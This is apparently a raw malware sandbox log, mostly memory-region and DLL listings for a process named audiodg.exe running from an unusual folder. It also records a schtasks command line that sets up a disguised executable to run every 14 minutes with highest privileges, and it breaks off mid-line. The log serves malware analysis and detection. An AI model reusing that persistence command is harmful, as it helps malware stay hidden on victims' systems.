"private_0x0000000000100000" filename = "" Region: id = 4509 start_va = 0x830000 end_va = 0x907fff monitored = 1 entry_point = 0x8ff1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 4510 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4511 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4512 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4513 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4514 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4515 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4516 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4517 start_va = 0x200000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4518 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4519 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4520 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4521 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4522 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4523 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4524 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4525 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4526 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 4527 start_va = 0x200000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4528 start_va = 0x2f0000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 5036 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5037 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5038 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5039 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5040 start_va = 0xb0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5041 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 5042 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5043 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5044 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5045 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5046 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5047 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5048 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5410 start_va = 0x200000 end_va = 0x228fff monitored = 0 entry_point = 0x201010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5411 start_va = 0x250000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 5412 start_va = 0x570000 end_va = 0x6f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 5413 start_va = 0x200000 end_va = 0x228fff monitored = 0 entry_point = 0x201010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5414 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5415 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5416 start_va = 0x910000 end_va = 0xa90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 5417 start_va = 0xaa0000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 5418 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5419 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5420 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5421 start_va = 0x700000 end_va = 0x7d0fff monitored = 1 entry_point = 0x7cf1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 5422 start_va = 0x700000 end_va = 0x7d0fff monitored = 1 entry_point = 0x7cf1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 5423 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5594 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5595 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5596 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5597 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5598 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5730 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 5731 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 5732 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5733 start_va = 0x7fe91eb0000 end_va = 0x7fe91ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91eb0000" filename = "" Region: id = 5734 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5735 start_va = 0x7fe91ed0000 end_va = 0x7fe91f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5736 start_va = 0x7fe91f60000 end_va = 0x7fe91fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f60000" filename = "" Region: id = 5737 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5738 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5739 start_va = 0x700000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 5740 start_va = 0x1ea0000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 5847 start_va = 0x2160000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 5848 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5849 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 5850 start_va = 0x2260000 end_va = 0x1a25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 6261 start_va = 0x1a260000 end_va = 0x1a5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a260000" filename = "" Region: id = 6262 start_va = 0x1ea0000 end_va = 0x1fa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 6263 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 6264 start_va = 0x1a710000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a710000" filename = "" Region: id = 6265 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6688 start_va = 0x1a5e0000 end_va = 0x1a6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5e0000" filename = "" Region: id = 6689 start_va = 0x1a960000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 6690 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Thread: id = 198 os_tid = 0xd14 Thread: id = 236 os_tid = 0x210 Thread: id = 277 os_tid = 0xdc4 Thread: id = 288 os_tid = 0xe34 Process: id = "50" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d3a1000" os_pid = "0xd18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3978 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3979 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3980 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 3981 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3982 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3983 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3984 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3985 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3986 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3987 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3988 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3989 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3990 start_va = 0xd0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3991 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3992 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3993 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3994 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3995 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3996 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3997 start_va = 0x140000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3998 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3999 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4000 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4001 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4002 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4003 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4004 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4005 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4006 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4007 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4008 start_va = 0x240000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4009 start_va = 0x240000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4010 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 4023 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 4024 start_va = 0x340000 end_va = 0x368fff monitored = 0 entry_point = 0x341010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4025 start_va = 0x340000 end_va = 0x368fff monitored = 0 entry_point = 0x341010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4026 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4027 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4028 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 4029 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 4030 start_va = 0x340000 end_va = 0x351fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4031 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4032 start_va = 0x360000 end_va = 0x360fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 4033 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4034 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4035 start_va = 0x370000 end_va = 0x3ecfff monitored = 0 entry_point = 0x37cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4036 start_va = 0x370000 end_va = 0x3ecfff monitored = 0 entry_point = 0x37cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4037 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4038 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4039 start_va = 0x1e10000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 4040 start_va = 0x1e10000 end_va = 0x1eeefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e10000" filename = "" Region: id = 4041 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 4042 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4043 start_va = 0x20a0000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 4044 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4046 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4047 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 4048 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4049 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4050 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4051 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4052 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 181 os_tid = 0xd0c [0082.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbfec0 | out: lpSystemTimeAsFileTime=0xbfec0*(dwLowDateTime=0x59fd3e60, dwHighDateTime=0x1d9eb0c)) [0082.244] GetCurrentProcessId () returned 0xd18 [0082.244] GetCurrentThreadId () returned 0xd0c [0082.244] GetTickCount () returned 0x1769fa0 [0082.244] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbfec8 | out: lpPerformanceCount=0xbfec8*=2488872735788) returned 1 [0082.244] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0082.244] __set_app_type (_Type=0x1) [0082.244] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0082.245] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, 